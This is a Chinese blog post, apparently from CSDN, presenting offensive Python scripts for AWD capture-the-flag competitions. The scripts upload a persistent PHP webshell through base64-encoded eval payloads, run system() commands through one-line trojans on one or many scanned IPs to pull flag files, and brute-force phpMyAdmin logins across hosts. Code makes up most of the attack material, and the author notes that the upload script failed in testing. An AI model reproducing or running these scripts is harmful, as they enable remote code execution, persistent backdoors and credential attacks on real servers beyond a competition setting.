def upload(url,method,passwd):#http://127.0.0.1:80/1110/x.php,post,x'''1.http or https2.端口要放在ip变量中3.Rfile /1110/x.php'''try:url.index("http")#去除http:// ==> 127.0.0.1:80/1110/x.phpurlstr=url[7:]lis = urlstr.split("/")ip=str(lis[0])Rfile = ""for i in range(1,len(lis)):Rfile = Rfile+"/"+str(lis[i])except :urlstr=url[8:]lis = urlstr.split("/")ip=str(lis[0])Rfile = ""for i in range(1,len(lis)):Rfile = Rfile+"/"+str(lis[i])#判断shell是否存在try :res = requests.get(url,timeout=10)except : print "[-] %s ERR_CONNECTION_TIMED_OUT" %urlreturn 0if res.status_code!=200 :print "[-] %s Page Not Found!" %urlreturn 0#加载要写入的内容shellPath = "./shell.php"shell_content = loadfile(shellPath)#获取靶机的绝对路径Rpath = getpath(url,method,passwd)#D:/phpStudy/WWW/1110/x.phplist0 = Rpath.split("/")Rpath = ""for i in range(0,(len(list0)-1)):Rpath = Rpath+list0[i]+"/"data = {}#判断methodif method =="post" :data[passwd] = "@eval(base64_decode($_POST['z0']));"data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'data['z1'] = base64.b64encode(Rpath+"/fuck.php")data["z2"] = base64.b64encode(shell_content)#print datares = requests.post(url,data=data)elif method=="get" :data[passwd] = "@eval(base64_decode($_GET['z0']));"data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX0dFVFsiejEiXSk7CiRjPWJhc2U2NF9kZWNvZGUoJF9HRVRbInoyIl0pOwokYz1zdHJfcmVwbGFjZSgiXHIiLCIiLCRjKTsKJGM9c3RyX3JlcGxhY2UoIlxuIiwiIiwkYyk7CiRidWY9IiI7CmZvcigkaT0wOyRpPHN0cmxlbigkYyk7JGkrPTEpCiAgICAkYnVmLj1zdWJzdHIoJGMsJGksMSk7CmVjaG8oQGZ3cml0ZShmb3BlbigkZiwidyIpLCRidWYpKTsKZWNobygifDwtIik7CmRpZSgpOw=='data['z1'] = base64.b64encode(Rpath+"/fuck.php")data["z2"] = base64.b64encode(shell_content)res = requests.post(url,params=data)else :print "method err!"sys.exit()#判断是否上传成功,失败直接跳过#print res.contentif res.status_code!=200:print "[-] %s upload failed!" %ipreturn 0#激活不死马list=Rfile.split("/")b_url="http://"+ipmax = len(list)-1for i in range(1,max):b_url=b_url+"/"+list[i]bsm_url = b_url+"/fuck.php"try : res = requests.get(bsm_url,timeout=3)except :pass#尝试访问不死马生成的shellshell_url = b_url+"/.index.php"res = requests.get(shell_url)if res.status_code!=200 :print "[-] %s create shell failed!" %bsm_urlreturn 0#输出shell地址print "[+] %s upload sucessed!" %shell_url
这个函数的灵魂在以下代码,我就解析一个post,get原理是一样的。
if method =="post" :data[passwd] = "@eval(base64_decode($_POST['z0']));"data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'data['z1'] = base64.b64encode(Rpath+"/fuck.php")data["z2"] = base64.b64encode(shell_content)#print datares = requests.post(url,data=data)
首先先解码base64字符,结果如下:
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=base64_decode($_POST["z2"]);
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=1)$buf.=substr($c,$i,1);
echo(@fwrite(fopen($f,"w"),$buf));
echo("|<-");
die();
可以看到是个php的写入文件的函数。
原理还是很好理解的,我就不多说了,接下来上测试。
好吧。。。。测试失败。失败的原因我分析出来了,大概是在这个位置:
在对变量进行分割的时候出现了问题。由于代码量比较大,所以我就不改了,怕改了以后出现大问题。
其实,你只要能把不死马传上去,基本百分之九十的问题就解决了。所以这个脚本有没有其实并不重要。
还有一个GetFlag.py,这个脚本是根据第一个脚本来进行的就是一个flag提取的脚本。这个我们也不深入讨论了。
另一种攻击思路
接下来给大家几个我自己写的脚本。这些都是经过我自己的测试,发现是没有问题的,正好也是AWD攻击的顺序。
扫ip->创建ip表->手动传马->用创建的ip表自动对所有ip一句话进行连接/单次连接某个IP的一句话
跑ip表->用创建的ip表自动跑所有网页后台
第一个就是建立在nmap扫描出ip以后,将ip提取出来,然后手动上传一句话木马,最后提取flag。
第二个是我无意间想到的。有的网页会有网站后台登陆的地方,那么我们是不是可以写一个脚本用于跑每个ip的后台页面呢?假如这个ip忘记改后台密码,岂不是美哉?
ok。那么我们先来看这个最基础的脚本:ip提取。
IP提取
我做这个脚本的原因是因为如果主办方不给其他人的ip的话,我们就可以用nmap扫描出其他人的ip。虽然python有namp这个模块,但是我这头不知道为什么用不了,所以只能想到这个折中的办法了。
第一步,先用namp扫面网段中所有ip。
接着,我们将这个保存。到桌面就行。打开以后发现是一堆乱码。
如何提取到我们要的ip呢?原理其实很简单,就是匹配每一行的字符就行了。多的就不解释了,上代码。
import re
name=input("input you zenmap_saved file.\n")
file=open(name,"r")
file2=open("ip.txt","w")
rea=file.readlines()
number=0
for i in rea:text=re.match("Nmap scan report for ",i)if (text!=None):if (i[21].isdigit()):file2.write(i[21:])number+=1else:l=[]begin=i.find('(')end=i.rfind(')')ss=i[begin+1:end]file2.write(ss+"\n")number+=1
file.close()
file2.close()
print("down.the ip_table have been saved \'ip.txt\'.it has "+str(number)+" resualt.")
'''
说明:1.file是zenmap保存的扫描结果2.flie2是zenmap保存的提取的ip的结果
'''
要输入两个东西,第一个是nmap保存的结果文件,比如new.xml。第二个就是你提取以后的文件存储位置。
运行结果如图。
由于这个是我之前用学校机房电脑做测试的时候生成的,所以ip有很多。你其实手动创建ip表也可以,格式写成如图的就行。
单ip连接一句话木马
这个脚本是万一你很惨,只传上去一个一句话木马,那么就可以进行个单次连接。代码如下。
import requests
url="http://192.168.1.110"
shell="/.index.php"
passwd="wzc"
port='80'
payload={passwd:"system(\'dir\');"#cd c:\\flag && type flag.txt
}
url1=url+':'+port+shell
print(url1)
response=requests.post(url1,payload,timeout=1)
response.encoding=response.apparent_encoding
print(response.text)
file=open("flag.txt","a")
file.write(response.text)
file.close()
好好看看,学过python的人应该都懂吧?改哪我就不说了。
多ip连接一句话木马
首先把之前生成的ip表放到这个脚本同目录下,然后执行这个代码。
import requests
import re
cmd=input("please input command:\n(exp:cd c:\\\\flag && type flag.txt)\n")
site=input("please input shell site:(exp:/upload/php.php)\n")
file1=open("ip.txt","r")
contain=file1.readlines()
for ip in contain:ip=ip.replace("\n","")url="http://"+ipshell=site#"/upload/php.php"passwd="wzc"port='80'payload={passwd:"system(\'"+cmd+"\');"}#cd c:\\flag && type flag.txturl1=url+':'+port+shellresponse=requests.post(url1,payload,timeout=1)response.encoding=response.apparent_encodingprint(response.text)file=open("flag.txt","a")file.write(ip+" flag is :"+response.text+"\n\n")file.close()print("flag get down.")
原理也很简单,就是在第一步上加了一个循环。由于所有人用的是同一个网站,因此马的位置都是固定的,所以直接输入这个参数就行了。剩下就没啥可说的了。
多ip测试网站后台
直接上脚本。记得把ip表也放在同一个目录下。
import requests
import re
name=input("input test name\n")
passwd=input("input test passwd\n")
address=input("input site(exp:/phpMyAdmin/index.php)\n")
file1=open("ip.txt","r")
contain=file1.readlines()
for ip in contain:ip=ip.replace("\n","")url="http://"+ip+address#http://192.168.1.108/phpMyAdmin/index.phpheaders = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36"}data = {"pma_username":name,"pma_password":passwd,"server":"1","lang":"zh_CN"}r = requests.post(url,headers=headers,data=data)if re.search("无法",r.text)==None:file=open("database_test.txt","a")file.write(ip+" database username:"+name+" password:"+passwd+"\n")file.close()print(ip+" database success.")else:print(ip+" database error.")
前面的就不说了,说说比较关键的几个地方。
第一个是data字典里面的表。写这个代码我是基于phpstudy后台登陆页面写的,而正式比赛是不一定用这个,因此需要修改。如图,这个是我参数的来源,你们到时候赛场上照着改就行了。
如图右下角的参数就是data表中的参数。
第二个要改的地方就是对页面登陆是否成功的判断。phpstudy后台无法登陆成功的话就会显示包含“无法登陆”之类的字符,所以我写了个无法。到时候需要按实际情况改。
好了,实在打不动字了,就不写了。
累死了。。。写了好几天,将近三万字,有兴趣的童鞋可以仔细看看,挺有用的。
AWD:赛前准备工作以及深度脚本讲解相关推荐
- 亿级PV超大型网站集群架构图形深度揭秘讲解
猛戳下面地址观看: 亿级PV超大型网站集群架构图形深度揭秘讲解
- Windows防火墙配置脚本讲解
一. natsh命令 Netsh 是命令行脚本实用工具,它允许从本地或远程显示或修改当前正在运行的计算机的网络配置. Netsh 还提供了一个脚本功能,对于指定计算机,可以通过此功能以批处理模式运行一 ...
- STM32CubeIDE链接脚本讲解
一.目的 相信很多小伙伴第一次使用STM32CubeIDE进行开发遇到GNU LD脚本时都是一脸懵逼,在Keil中我们会使用分散加载文件进行类似操作,那么GNU LD链接器使用的链接脚本是怎样呢? 本 ...
- 接口测试工具--apipost脚本讲解
在使用apipost的时候,需要获取请求传递的request和响应的response.可以在脚本中编写apipost自带的函数进行获取. 一.apipost获取请求的request的方法: reque ...
- 2022-2028年全球与中国全轮驱动(AWD)系统行业深度分析
本文研究全球与中国市场全轮驱动(AWD)系统的发展现状及未来发展趋势,分别从生产和消费的角度分析全轮驱动(AWD)系统的主要生产地区.主要消费地区以及主要的生产商.重点分析全球与中国市场的主要厂商产品 ...
- 快手视频艾特实操教学分享,什么是艾特脚本,评论区艾特引流脚本讲解!
大家好我是你们的小编一辞脚本,今天给大家分享新的知识,很开心可以在CSDN平台分享知识给大家,很多伙伴看不到代码我先录制一下视频 在给大家做代码,给大家分享一下快手艾特脚本的知识和视频演示 不懂的 ...
- 中职组网络安全C模块全漏洞脚本讲解包含4个漏洞的脚本
首先就是在这里直接给将所有的漏洞写在了一个脚本上,这样有利也有弊,虽然能很好的将所有的漏洞一时间全都跑,但是在书写脚本的时候出现问题就很麻烦,当然购买后还可以将四个脚本拆开来进行编写,也是可以的,反正 ...
- 1.康耐视VIsionPro脚本讲解1
Visionpro 软件是一款非常好用的机器视觉软件,它降低了开发人员的入门门槛,一个简单的机器视觉项目,只需要拖拉窗口,设定下参数,就可以立刻完成部署上线,开发效率是非常高的. 但这种模式也会降低开 ...
- 按键精灵计算机怎样写,按键精灵脚本讲解(5)条件判断语句
条件判断语句 假如我们要检查屏幕上某个点是否为黑色,进而让按键精灵执行其他语句,这就需要不断地去检测.要让按键精灵为我们检测,可以利用条件判断语句不断地去验证. 下面是"控制命令" ...
- Linux Shell脚本讲解
目录 Shell脚本基础 Shell脚本组成 Shell脚本工作方式 编写简单的Shell脚本 Shell脚本参数 Shell脚本接收参数 Shell脚本判断用户参数 文件测试与逻辑测试语句 整数测试 ...
最新文章
- 用circlize包绘制circos-plot
- 2.外部链接数据库报错Can't connect to mysql server on xxx.xxx.xxx.xxx(10038)
- Java读取word文件,字体,颜色
- java 垃圾回收手动回收_Java垃圾回收(4)
- Selenium2Library+ride学习笔记
- PHP文件下载过滤类
- 在InternetExplorer.Application中显示本地图片
- 挣多少钱让你觉得生存无忧,有底气做感兴趣的事?
- 人人都是测试经理:如何进行测试风险分析并制定策略
- Android屏幕共享与直播-red5流媒体服务器搭建
- 键盘常用ASCII码对照表
- java文件怎么保存_java 文件保存和打开
- iOS主题/皮肤之SakuraKit
- IE8上面的旋转和透明度,利用滤镜属性去处理(兼容css3的transform和rgba())
- Orcal数据库中ORA-01861: 文字与格式字符串不匹配
- 如何将你的网站提交到Google
- P4554 小明的游戏(双端bfs)
- arduino、Ms5611与1602实现气压温度高度显示
- 【TV Picture Quality - 04】TV常见操作界面
- 删除内置不卡米教程_影视特效后期AE CC零基础入门到高级教程